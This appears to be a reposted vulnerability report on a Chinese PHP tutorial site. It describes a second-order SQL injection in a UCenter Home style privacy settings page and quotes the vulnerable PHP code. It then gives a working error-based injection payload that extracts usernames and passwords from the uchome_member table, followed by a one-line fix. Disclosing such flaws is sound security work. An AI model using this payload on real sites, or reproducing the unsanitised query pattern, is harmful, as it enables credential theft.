来源:自学PHP网 时间:2015-04-15 15:00 作者: 阅读:次
[导读] 不知道这种情况算不算二次注入先使payload进入数据库或者某一空间内,再次取出payload,然后进入SQL这里第一步操作先使payload进入了一个数组中然后第二步操作中会取出第一步中的payl...
不知道这种情况算不算二次注入
elseif(submitcheck('privacy2submit')) { //类型筛选 $space['privacy']['filter_icon'] = array(); foreach ($_POST['privacy']['filter_icon'] as $key => $value) { $space['privacy']['filter_icon'][$key] = 1; } //用户组设置 $space['privacy']['filter_gid'] = array(); foreach ($_POST['privacy']['filter_gid'] as $key => $value) { $space['privacy']['filter_gid'][$key] = intval($value); } //通知筛选 $space['privacy']['filter_note'] = array(); foreach ($_POST['privacy']['filter_note'] as $key => $value) { $space['privacy']['filter_note'][$key] = 1; } privacy_update(); //更新好友缓存 friend_cache($_SGLOBAL['supe_uid']); showmessage('do_success', 'cp.php?ac=privacy&op=view'); }
if($_GET['op'] == 'view') { //好友组 $groups = getfriendgroup(); //屏蔽 $filter_icons = empty($space['privacy']['filter_icon'])?array():$space['privacy']['filter_icon']; $filter_note = empty($space['privacy']['filter_note'])?array():$space['privacy']['filter_note']; $iconnames = $appids = $icons = $uids = $users = array(); foreach ($filter_icons as $key => $value) { list($icon, $uid) = explode('|', $key); $icons[$key] = $icon; $uids[$key] = $uid; if(is_numeric($icon)) { $appids[$key] = $icon; } } //通知整理 foreach ($filter_note as $key => $value) { list($type, $uid) = explode('|', $key); $types[$key] = $type; $uids[$key] = $uid; if(is_numeric($type)) { $appids[$key] = $type; } } if($uids) { $query = $_SGLOBAL['db']->query("SELECT uid, username FROM ".tname('space')." WHERE uid IN (".simplode($uids).")"); while ($value = $_SGLOBAL['db']->fetch_array($query)) { $users[$value['uid']] = $value['username']; } } //获取应用名称 if($appids) { $query = $_SGLOBAL['db']->query("SELECT appid, appname FROM ".tname('myapp')." WHERE appid IN (".simplode($appids).")"); while ($value = $_SGLOBAL['db']->fetch_array($query)) { $iconnames[$value['appid']] = $value['appname']; } } $cat_actives = array('view' => ' class="active"'); }
$filter_icons = empty($space['privacy']['filter_icon'])?array():$space['privacy']['filter_icon']; $filter_note = empty($space['privacy']['filter_note'])?array():$space['privacy']['filter_note'];
privacy[filter_note][type|key',(select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(username, 0x23, password) from uchome_member limit 0,1))a from information_schema.tables group by a)b))#]
修复方案:再进入数据库时,判断处理,过滤,即可 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com